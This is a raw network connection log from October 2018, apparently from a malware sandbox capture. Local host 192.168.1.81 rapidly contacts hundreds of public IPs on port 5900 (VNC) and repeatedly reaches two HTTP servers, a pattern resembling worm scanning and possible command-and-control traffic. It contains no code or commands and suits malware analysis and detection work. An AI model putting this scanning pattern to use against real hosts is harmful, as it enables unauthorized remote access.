Oct 30, 2018 14:44:46.857367992 CET	50715	5900	192.168.1.81	183.213.99.131
Oct 30, 2018 14:44:46.881275892 CET	50615	5900	192.168.1.81	38.15.138.28
Oct 30, 2018 14:44:46.881381035 CET	50616	5900	192.168.1.81	208.115.60.234
Oct 30, 2018 14:44:46.885080099 CET	50716	5900	192.168.1.81	40.103.1.174
Oct 30, 2018 14:44:46.905560970 CET	80	50714	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:46.905803919 CET	50714	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:46.907047033 CET	50714	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:46.907777071 CET	5900	50684	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:46.909914970 CET	5900	50684	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:46.909951925 CET	5900	50684	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:46.910099030 CET	50684	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:46.910171986 CET	50684	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:46.910270929 CET	50684	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:46.912556887 CET	50662	5900	192.168.1.81	201.187.114.116
Oct 30, 2018 14:44:46.916662931 CET	50717	5900	192.168.1.81	103.244.205.203
Oct 30, 2018 14:44:46.948910952 CET	50718	5900	192.168.1.81	101.80.138.255
Oct 30, 2018 14:44:46.959471941 CET	80	50714	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:46.959515095 CET	80	50714	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:46.959536076 CET	80	50714	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:46.959769011 CET	50714	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:46.966779947 CET	50714	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:46.974589109 CET	50618	5900	192.168.1.81	203.83.202.159
Oct 30, 2018 14:44:46.979906082 CET	50719	5900	192.168.1.81	63.84.173.78
Oct 30, 2018 14:44:46.990221977 CET	50619	5900	192.168.1.81	175.42.190.69
Oct 30, 2018 14:44:47.010304928 CET	50720	5900	192.168.1.81	173.13.219.10
Oct 30, 2018 14:44:47.018944979 CET	80	50714	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.021627903 CET	50620	5900	192.168.1.81	208.111.117.235
Oct 30, 2018 14:44:47.041892052 CET	50721	5900	192.168.1.81	42.228.88.155
Oct 30, 2018 14:44:47.052984953 CET	50621	5900	192.168.1.81	194.145.46.156
Oct 30, 2018 14:44:47.090656042 CET	5900	50717	103.244.205.203	192.168.1.81
Oct 30, 2018 14:44:47.097793102 CET	5900	50691	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.098182917 CET	5900	50691	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.098380089 CET	50691	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:47.098526001 CET	5900	50691	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.098597050 CET	50691	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:47.099271059 CET	50722	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:47.099391937 CET	50622	5900	192.168.1.81	32.186.182.52
Oct 30, 2018 14:44:47.102375031 CET	50723	5900	192.168.1.81	197.81.81.187
Oct 30, 2018 14:44:47.115164995 CET	50623	5900	192.168.1.81	65.121.12.199
Oct 30, 2018 14:44:47.134989977 CET	50724	5900	192.168.1.81	101.146.136.127
Oct 30, 2018 14:44:47.146297932 CET	50624	5900	192.168.1.81	41.174.19.45
Oct 30, 2018 14:44:47.166368008 CET	50725	5900	192.168.1.81	178.145.202.167
Oct 30, 2018 14:44:47.175415993 CET	5900	50662	201.187.114.116	192.168.1.81
Oct 30, 2018 14:44:47.193284988 CET	50625	5900	192.168.1.81	42.184.227.125
Oct 30, 2018 14:44:47.196435928 CET	50726	5900	192.168.1.81	34.141.176.64
Oct 30, 2018 14:44:47.205451012 CET	5900	50684	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:47.205646992 CET	50684	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:47.208945036 CET	50626	5900	192.168.1.81	204.132.110.31
Oct 30, 2018 14:44:47.228554964 CET	50727	5900	192.168.1.81	96.146.107.102
Oct 30, 2018 14:44:47.240355015 CET	50627	5900	192.168.1.81	140.13.12.54
Oct 30, 2018 14:44:47.260246992 CET	50728	5900	192.168.1.81	58.12.76.11
Oct 30, 2018 14:44:47.271723032 CET	50628	5900	192.168.1.81	139.230.30.132
Oct 30, 2018 14:44:47.318950891 CET	50629	5900	192.168.1.81	51.217.106.21
Oct 30, 2018 14:44:47.320481062 CET	50729	5900	192.168.1.81	160.234.99.42
Oct 30, 2018 14:44:47.333823919 CET	50630	5900	192.168.1.81	106.58.83.62
Oct 30, 2018 14:44:47.339663982 CET	50730	5900	192.168.1.81	69.216.74.211
Oct 30, 2018 14:44:47.365255117 CET	50631	5900	192.168.1.81	31.241.132.223
Oct 30, 2018 14:44:47.373153925 CET	50731	5900	192.168.1.81	122.165.89.130
Oct 30, 2018 14:44:47.396382093 CET	50632	5900	192.168.1.81	97.114.214.214
Oct 30, 2018 14:44:47.400682926 CET	50732	5900	192.168.1.81	203.233.206.175
Oct 30, 2018 14:44:47.405590057 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.405802011 CET	50722	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:47.433018923 CET	50733	5900	192.168.1.81	206.145.161.32
Oct 30, 2018 14:44:47.459240913 CET	50634	5900	192.168.1.81	144.122.15.83
Oct 30, 2018 14:44:47.473509073 CET	56277	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:47.475426912 CET	50734	5900	192.168.1.81	121.61.22.88
Oct 30, 2018 14:44:47.490010023 CET	50635	5900	192.168.1.81	133.220.178.236
Oct 30, 2018 14:44:47.493099928 CET	50735	5900	192.168.1.81	188.48.69.168
Oct 30, 2018 14:44:47.521373987 CET	50636	5900	192.168.1.81	55.42.215.151
Oct 30, 2018 14:44:47.523947954 CET	50736	5900	192.168.1.81	191.73.166.203
Oct 30, 2018 14:44:47.552550077 CET	50637	5900	192.168.1.81	94.58.96.170
Oct 30, 2018 14:44:47.556833982 CET	50737	5900	192.168.1.81	156.37.93.147
Oct 30, 2018 14:44:47.583967924 CET	50638	5900	192.168.1.81	199.205.44.87
Oct 30, 2018 14:44:47.587492943 CET	50738	5900	192.168.1.81	104.122.203.119
Oct 30, 2018 14:44:47.594058990 CET	53	56277	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:47.596015930 CET	50739	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.599694014 CET	50717	5900	192.168.1.81	103.244.205.203
Oct 30, 2018 14:44:47.615258932 CET	50639	5900	192.168.1.81	105.2.207.49
Oct 30, 2018 14:44:47.618083954 CET	50740	5900	192.168.1.81	90.193.55.165
Oct 30, 2018 14:44:47.648566961 CET	80	50739	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.648730040 CET	50739	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.649723053 CET	50739	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.651727915 CET	50741	5900	192.168.1.81	201.66.237.107
Oct 30, 2018 14:44:47.662332058 CET	50640	5900	192.168.1.81	71.58.29.26
Oct 30, 2018 14:44:47.682672024 CET	50742	5900	192.168.1.81	168.150.208.108
Oct 30, 2018 14:44:47.693685055 CET	50641	5900	192.168.1.81	39.18.137.100
Oct 30, 2018 14:44:47.702019930 CET	80	50739	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.702132940 CET	80	50739	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.702177048 CET	80	50739	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.702266932 CET	50739	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.707133055 CET	50739	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.709498882 CET	50642	5900	192.168.1.81	31.117.31.74
Oct 30, 2018 14:44:47.710078955 CET	50743	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:47.713042021 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.713301897 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:47.713557005 CET	50722	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:47.714837074 CET	50744	5900	192.168.1.81	170.181.170.44
Oct 30, 2018 14:44:47.745381117 CET	50745	5900	192.168.1.81	195.159.33.81
Oct 30, 2018 14:44:47.759751081 CET	80	50739	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:47.762640953 CET	80	50743	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:47.762835979 CET	50743	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:47.763775110 CET	50743	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:47.771430969 CET	50643	5900	192.168.1.81	118.223.39.249
Oct 30, 2018 14:44:47.776931047 CET	50746	5900	192.168.1.81	40.186.205.141
Oct 30, 2018 14:44:47.802668095 CET	50644	5900	192.168.1.81	137.235.28.93
Oct 30, 2018 14:44:47.807816982 CET	50747	5900	192.168.1.81	90.118.174.191
Oct 30, 2018 14:44:47.816340923 CET	80	50743	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:47.816561937 CET	80	50743	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:47.816591024 CET	80	50743	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:47.816695929 CET	50743	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:47.818764925 CET	50645	5900	192.168.1.81	64.184.150.230
Oct 30, 2018 14:44:47.819700956 CET	50743	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:47.831434965 CET	65375	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:47.834376097 CET	50646	5900	192.168.1.81	43.185.221.128
Oct 30, 2018 14:44:47.837275982 CET	50748	5900	192.168.1.81	129.72.139.23
Oct 30, 2018 14:44:47.869692087 CET	50749	5900	192.168.1.81	82.26.119.85
Oct 30, 2018 14:44:47.872142076 CET	80	50743	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:47.896382093 CET	50648	5900	192.168.1.81	66.124.203.95
Oct 30, 2018 14:44:47.901175022 CET	50750	5900	192.168.1.81	115.51.18.131
Oct 30, 2018 14:44:47.932396889 CET	50751	5900	192.168.1.81	187.197.45.163
Oct 30, 2018 14:44:47.943357944 CET	50649	5900	192.168.1.81	155.100.237.78
Oct 30, 2018 14:44:47.950871944 CET	53	65375	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:47.954483032 CET	50752	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:47.959038019 CET	50650	5900	192.168.1.81	50.60.233.245
Oct 30, 2018 14:44:47.986900091 CET	5900	50748	129.72.139.23	192.168.1.81
Oct 30, 2018 14:44:47.990350008 CET	50651	5900	192.168.1.81	60.31.240.141
Oct 30, 2018 14:44:47.999258041 CET	50753	5900	192.168.1.81	138.143.238.199
Oct 30, 2018 14:44:48.004996061 CET	50754	5900	192.168.1.81	173.214.56.132
Oct 30, 2018 14:44:48.007026911 CET	80	50752	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:48.007123947 CET	50752	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:48.008327007 CET	50752	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:48.019588947 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:48.019952059 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:48.020132065 CET	50722	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:48.020221949 CET	5900	50722	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:48.020289898 CET	50722	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:48.021778107 CET	50652	5900	192.168.1.81	208.227.184.238
Oct 30, 2018 14:44:48.024245977 CET	50755	5900	192.168.1.81	169.154.184.177
Oct 30, 2018 14:44:48.053081989 CET	50653	5900	192.168.1.81	60.33.171.245
Oct 30, 2018 14:44:48.056826115 CET	50756	5900	192.168.1.81	164.69.23.249
Oct 30, 2018 14:44:48.060697079 CET	80	50752	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:48.063215971 CET	80	50752	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:48.063252926 CET	80	50752	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:48.063450098 CET	50752	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:48.065365076 CET	50752	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:48.084496021 CET	50654	5900	192.168.1.81	78.69.94.156
Oct 30, 2018 14:44:48.088993073 CET	50757	5900	192.168.1.81	101.189.19.144
Oct 30, 2018 14:44:48.115833044 CET	50655	5900	192.168.1.81	43.203.96.39
Oct 30, 2018 14:44:48.117997885 CET	80	50752	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:48.120839119 CET	50758	5900	192.168.1.81	33.165.255.37
Oct 30, 2018 14:44:48.146481991 CET	50657	5900	192.168.1.81	151.175.152.245
Oct 30, 2018 14:44:48.151318073 CET	50759	5900	192.168.1.81	122.26.254.109
Oct 30, 2018 14:44:48.177814960 CET	50658	5900	192.168.1.81	125.31.55.205
Oct 30, 2018 14:44:48.182733059 CET	50760	5900	192.168.1.81	39.197.93.196
Oct 30, 2018 14:44:48.214709997 CET	50761	5900	192.168.1.81	168.41.123.87
Oct 30, 2018 14:44:48.240544081 CET	50659	5900	192.168.1.81	86.232.169.255
Oct 30, 2018 14:44:48.245366096 CET	50762	5900	192.168.1.81	143.78.150.71
Oct 30, 2018 14:44:48.271939039 CET	50660	5900	192.168.1.81	80.75.208.205
Oct 30, 2018 14:44:48.276212931 CET	50763	5900	192.168.1.81	203.104.243.63
Oct 30, 2018 14:44:48.302736998 CET	50661	5900	192.168.1.81	174.130.78.166
Oct 30, 2018 14:44:48.308080912 CET	50764	5900	192.168.1.81	72.122.166.241
Oct 30, 2018 14:44:48.339173079 CET	50765	5900	192.168.1.81	147.26.132.226
Oct 30, 2018 14:44:48.370417118 CET	50766	5900	192.168.1.81	64.96.5.14
Oct 30, 2018 14:44:48.381068945 CET	50663	5900	192.168.1.81	178.34.222.248
Oct 30, 2018 14:44:48.396727085 CET	50664	5900	192.168.1.81	37.82.144.14
Oct 30, 2018 14:44:48.401988983 CET	50767	5900	192.168.1.81	209.150.8.193
Oct 30, 2018 14:44:48.427922010 CET	50665	5900	192.168.1.81	189.179.29.5
Oct 30, 2018 14:44:48.433163881 CET	50768	5900	192.168.1.81	201.69.93.175
Oct 30, 2018 14:44:48.463953972 CET	50769	5900	192.168.1.81	200.161.247.45
Oct 30, 2018 14:44:48.474920988 CET	50666	5900	192.168.1.81	61.213.239.41
Oct 30, 2018 14:44:48.490608931 CET	50748	5900	192.168.1.81	129.72.139.23
Oct 30, 2018 14:44:48.490715981 CET	50667	5900	192.168.1.81	152.207.3.203
Oct 30, 2018 14:44:48.495152950 CET	50770	5900	192.168.1.81	144.132.157.133
Oct 30, 2018 14:44:48.521831989 CET	50668	5900	192.168.1.81	69.97.216.220
Oct 30, 2018 14:44:48.525079012 CET	50771	5900	192.168.1.81	141.99.157.225
Oct 30, 2018 14:44:48.553141117 CET	50669	5900	192.168.1.81	107.176.68.236
Oct 30, 2018 14:44:48.569845915 CET	54928	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:48.571928024 CET	50772	5900	192.168.1.81	173.135.68.58
Oct 30, 2018 14:44:48.583893061 CET	50670	5900	192.168.1.81	115.109.181.181
Oct 30, 2018 14:44:48.587390900 CET	50773	5900	192.168.1.81	36.224.20.50
Oct 30, 2018 14:44:48.615288973 CET	50671	5900	192.168.1.81	42.71.27.222
Oct 30, 2018 14:44:48.622342110 CET	50774	5900	192.168.1.81	102.74.18.109
Oct 30, 2018 14:44:48.640362024 CET	5900	50748	129.72.139.23	192.168.1.81
Oct 30, 2018 14:44:48.646492958 CET	50672	5900	192.168.1.81	152.227.18.61
Oct 30, 2018 14:44:48.682157993 CET	50775	5900	192.168.1.81	48.115.126.171
Oct 30, 2018 14:44:48.693417072 CET	50673	5900	192.168.1.81	72.216.111.57
Oct 30, 2018 14:44:48.705081940 CET	53	54928	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:48.709048986 CET	50674	5900	192.168.1.81	182.71.226.10
Oct 30, 2018 14:44:48.712004900 CET	50776	5900	192.168.1.81	167.223.36.191
Oct 30, 2018 14:44:48.740264893 CET	50675	5900	192.168.1.81	183.42.190.17
Oct 30, 2018 14:44:48.742840052 CET	50777	5900	192.168.1.81	181.249.1.140
Oct 30, 2018 14:44:48.775557041 CET	50778	5900	192.168.1.81	132.21.105.231
Oct 30, 2018 14:44:48.787357092 CET	50676	5900	192.168.1.81	152.104.154.226
Oct 30, 2018 14:44:48.802995920 CET	50677	5900	192.168.1.81	106.66.100.98
Oct 30, 2018 14:44:48.806828976 CET	50779	5900	192.168.1.81	128.220.41.203
Oct 30, 2018 14:44:48.834319115 CET	50678	5900	192.168.1.81	44.46.22.238
Oct 30, 2018 14:44:48.840893030 CET	50780	5900	192.168.1.81	43.216.137.69
Oct 30, 2018 14:44:48.870853901 CET	50781	5900	192.168.1.81	63.229.134.1
Oct 30, 2018 14:44:48.905817986 CET	50782	5900	192.168.1.81	208.34.41.65
Oct 30, 2018 14:44:48.912606001 CET	50679	5900	192.168.1.81	101.53.163.11
Oct 30, 2018 14:44:48.931749105 CET	50783	5900	192.168.1.81	32.134.226.224
Oct 30, 2018 14:44:48.943892956 CET	50680	5900	192.168.1.81	176.233.83.125
Oct 30, 2018 14:44:48.959572077 CET	50681	5900	192.168.1.81	185.5.16.212
Oct 30, 2018 14:44:48.974661112 CET	50682	5900	192.168.1.81	134.67.122.209
Oct 30, 2018 14:44:48.995177031 CET	50784	5900	192.168.1.81	73.54.74.14
Oct 30, 2018 14:44:49.021779060 CET	50683	5900	192.168.1.81	94.18.52.144
Oct 30, 2018 14:44:49.025039911 CET	50785	5900	192.168.1.81	142.69.30.195
Oct 30, 2018 14:44:49.053122044 CET	50685	5900	192.168.1.81	104.167.52.12
Oct 30, 2018 14:44:49.057831049 CET	50786	5900	192.168.1.81	108.241.98.255
Oct 30, 2018 14:44:49.084508896 CET	50686	5900	192.168.1.81	51.18.26.192
Oct 30, 2018 14:44:49.089565039 CET	50787	5900	192.168.1.81	100.141.193.137
Oct 30, 2018 14:44:49.115102053 CET	50687	5900	192.168.1.81	209.212.87.150
Oct 30, 2018 14:44:49.122386932 CET	50788	5900	192.168.1.81	31.60.147.238
Oct 30, 2018 14:44:49.146342039 CET	50688	5900	192.168.1.81	90.38.25.208
Oct 30, 2018 14:44:49.146392107 CET	50748	5900	192.168.1.81	129.72.139.23
Oct 30, 2018 14:44:49.149722099 CET	50789	5900	192.168.1.81	40.72.207.210
Oct 30, 2018 14:44:49.177772045 CET	50689	5900	192.168.1.81	146.109.217.43
Oct 30, 2018 14:44:49.183078051 CET	50790	5900	192.168.1.81	69.53.130.220
Oct 30, 2018 14:44:49.196346998 CET	50690	5900	192.168.1.81	41.247.117.101
Oct 30, 2018 14:44:49.213727951 CET	49535	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:49.215910912 CET	50791	5900	192.168.1.81	139.148.103.163
Oct 30, 2018 14:44:49.224920034 CET	50692	5900	192.168.1.81	41.35.162.229
Oct 30, 2018 14:44:49.248706102 CET	50792	5900	192.168.1.81	160.193.86.162
Oct 30, 2018 14:44:49.255697966 CET	50693	5900	192.168.1.81	161.101.206.179
Oct 30, 2018 14:44:49.275898933 CET	50793	5900	192.168.1.81	125.130.24.140
Oct 30, 2018 14:44:49.287071943 CET	50694	5900	192.168.1.81	34.105.151.230
Oct 30, 2018 14:44:49.296350956 CET	5900	50748	129.72.139.23	192.168.1.81
Oct 30, 2018 14:44:49.310686111 CET	50794	5900	192.168.1.81	93.193.211.151
Oct 30, 2018 14:44:49.333878040 CET	50695	5900	192.168.1.81	159.190.104.104
Oct 30, 2018 14:44:49.340223074 CET	50795	5900	192.168.1.81	99.205.43.142
Oct 30, 2018 14:44:49.365082979 CET	50696	5900	192.168.1.81	97.188.142.130
Oct 30, 2018 14:44:49.369999886 CET	50796	5900	192.168.1.81	79.215.194.192
Oct 30, 2018 14:44:49.396395922 CET	50697	5900	192.168.1.81	90.155.49.170
Oct 30, 2018 14:44:49.401300907 CET	50797	5900	192.168.1.81	176.42.176.26
Oct 30, 2018 14:44:49.412331104 CET	50698	5900	192.168.1.81	85.121.3.136
Oct 30, 2018 14:44:49.432180882 CET	53	49535	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:49.436121941 CET	50798	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.436757088 CET	50799	5900	192.168.1.81	32.61.169.145
Oct 30, 2018 14:44:49.443595886 CET	50699	5900	192.168.1.81	199.177.168.30
Oct 30, 2018 14:44:49.462886095 CET	50800	5900	192.168.1.81	125.168.222.23
Oct 30, 2018 14:44:49.474950075 CET	50701	5900	192.168.1.81	204.195.156.19
Oct 30, 2018 14:44:49.489837885 CET	80	50798	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.490022898 CET	50798	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.492280006 CET	50798	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.495798111 CET	50801	5900	192.168.1.81	66.42.213.67
Oct 30, 2018 14:44:49.506339073 CET	50702	5900	192.168.1.81	89.197.142.130
Oct 30, 2018 14:44:49.524665117 CET	50802	5900	192.168.1.81	197.159.69.125
Oct 30, 2018 14:44:49.536963940 CET	50703	5900	192.168.1.81	52.124.137.231
Oct 30, 2018 14:44:49.544795990 CET	80	50798	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.545066118 CET	80	50798	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.545095921 CET	80	50798	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.545176029 CET	50798	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.549254894 CET	50798	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.551537991 CET	50803	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:49.557898045 CET	50804	5900	192.168.1.81	67.202.176.54
Oct 30, 2018 14:44:49.584036112 CET	50704	5900	192.168.1.81	89.45.97.221
Oct 30, 2018 14:44:49.588725090 CET	50805	5900	192.168.1.81	121.171.76.9
Oct 30, 2018 14:44:49.601527929 CET	80	50798	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.603601933 CET	80	50803	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:49.603791952 CET	50803	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:49.604929924 CET	50803	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:49.615091085 CET	50706	5900	192.168.1.81	84.70.41.241
Oct 30, 2018 14:44:49.620270967 CET	50806	5900	192.168.1.81	86.73.108.223
Oct 30, 2018 14:44:49.630942106 CET	50707	5900	192.168.1.81	179.89.53.180
Oct 30, 2018 14:44:49.651130915 CET	50807	5900	192.168.1.81	196.191.4.101
Oct 30, 2018 14:44:49.657672882 CET	80	50803	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:49.658832073 CET	80	50803	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:49.658854008 CET	80	50803	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:49.659063101 CET	50803	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:49.661288023 CET	50803	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:49.674843073 CET	54324	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:49.677922010 CET	50708	5900	192.168.1.81	193.32.125.186
Oct 30, 2018 14:44:49.680749893 CET	50808	5900	192.168.1.81	164.95.120.83
Oct 30, 2018 14:44:49.709269047 CET	50709	5900	192.168.1.81	155.118.74.83
Oct 30, 2018 14:44:49.713143110 CET	50809	5900	192.168.1.81	36.191.71.133
Oct 30, 2018 14:44:49.713781118 CET	80	50803	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:49.740681887 CET	50710	5900	192.168.1.81	182.135.253.132
Oct 30, 2018 14:44:49.745776892 CET	50810	5900	192.168.1.81	124.128.205.206
Oct 30, 2018 14:44:49.756324053 CET	50711	5900	192.168.1.81	137.154.5.174
Oct 30, 2018 14:44:49.782068014 CET	50811	5900	192.168.1.81	120.51.169.118
Oct 30, 2018 14:44:49.802674055 CET	50712	5900	192.168.1.81	88.179.165.102
Oct 30, 2018 14:44:49.806895018 CET	50812	5900	192.168.1.81	175.15.5.225
Oct 30, 2018 14:44:49.818432093 CET	50713	5900	192.168.1.81	49.131.175.201
Oct 30, 2018 14:44:49.822285891 CET	53	54324	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:49.824970007 CET	50813	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.839322090 CET	50814	5900	192.168.1.81	41.128.60.206
Oct 30, 2018 14:44:49.849844933 CET	50715	5900	192.168.1.81	183.213.99.131
Oct 30, 2018 14:44:49.869070053 CET	50815	5900	192.168.1.81	108.35.64.158
Oct 30, 2018 14:44:49.878043890 CET	80	50813	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.878184080 CET	50813	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.879326105 CET	50813	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.881175041 CET	50716	5900	192.168.1.81	40.103.1.174
Oct 30, 2018 14:44:49.898742914 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:49.902298927 CET	50817	5900	192.168.1.81	197.63.151.163
Oct 30, 2018 14:44:49.931926012 CET	80	50813	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.932533026 CET	80	50813	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.932574987 CET	80	50813	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:49.932672977 CET	50813	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.934890985 CET	50813	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:49.937258005 CET	50818	5900	192.168.1.81	158.223.97.220
Oct 30, 2018 14:44:49.959347010 CET	50718	5900	192.168.1.81	101.80.138.255
Oct 30, 2018 14:44:49.964822054 CET	50819	5900	192.168.1.81	103.144.66.153
Oct 30, 2018 14:44:49.988048077 CET	80	50813	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:50.065284967 CET	50820	5900	192.168.1.81	97.219.22.7
Oct 30, 2018 14:44:50.068736076 CET	50719	5900	192.168.1.81	63.84.173.78
Oct 30, 2018 14:44:50.068815947 CET	50720	5900	192.168.1.81	173.13.219.10
Oct 30, 2018 14:44:50.068846941 CET	50721	5900	192.168.1.81	42.228.88.155
Oct 30, 2018 14:44:50.078005075 CET	50821	5900	192.168.1.81	160.149.221.120
Oct 30, 2018 14:44:50.105133057 CET	50822	5900	192.168.1.81	180.150.45.8
Oct 30, 2018 14:44:50.137464046 CET	50823	5900	192.168.1.81	103.102.40.92
Oct 30, 2018 14:44:50.161969900 CET	50723	5900	192.168.1.81	197.81.81.187
Oct 30, 2018 14:44:50.162039042 CET	50724	5900	192.168.1.81	101.146.136.127
Oct 30, 2018 14:44:50.162061930 CET	50725	5900	192.168.1.81	178.145.202.167
Oct 30, 2018 14:44:50.194817066 CET	5900	50816	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:50.195059061 CET	50816	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:50.198331118 CET	50824	5900	192.168.1.81	102.164.204.107
Oct 30, 2018 14:44:50.259810925 CET	50825	5900	192.168.1.81	191.154.134.33
Oct 30, 2018 14:44:50.271728039 CET	50726	5900	192.168.1.81	34.141.176.64
Oct 30, 2018 14:44:50.271812916 CET	50727	5900	192.168.1.81	96.146.107.102
Oct 30, 2018 14:44:50.271845102 CET	50728	5900	192.168.1.81	58.12.76.11
Oct 30, 2018 14:44:50.291433096 CET	50826	5900	192.168.1.81	105.85.219.146
Oct 30, 2018 14:44:50.324709892 CET	50827	5900	192.168.1.81	57.230.10.44
Oct 30, 2018 14:44:50.353605032 CET	50828	5900	192.168.1.81	203.107.219.117
Oct 30, 2018 14:44:50.365192890 CET	50729	5900	192.168.1.81	160.234.99.42
Oct 30, 2018 14:44:50.365277052 CET	50730	5900	192.168.1.81	69.216.74.211
Oct 30, 2018 14:44:50.365309954 CET	50731	5900	192.168.1.81	122.165.89.130
Oct 30, 2018 14:44:50.384285927 CET	50829	5900	192.168.1.81	160.60.207.82
Oct 30, 2018 14:44:50.415626049 CET	50830	5900	192.168.1.81	143.118.68.177
Oct 30, 2018 14:44:50.446424007 CET	61241	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:50.448467016 CET	50831	5900	192.168.1.81	164.49.153.116
Oct 30, 2018 14:44:50.459183931 CET	50732	5900	192.168.1.81	203.233.206.175
Oct 30, 2018 14:44:50.459239006 CET	50733	5900	192.168.1.81	206.145.161.32
Oct 30, 2018 14:44:50.478588104 CET	50832	5900	192.168.1.81	40.36.247.157
Oct 30, 2018 14:44:50.483087063 CET	53	61241	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:50.493252993 CET	5900	50816	142.112.20.74	192.168.1.81
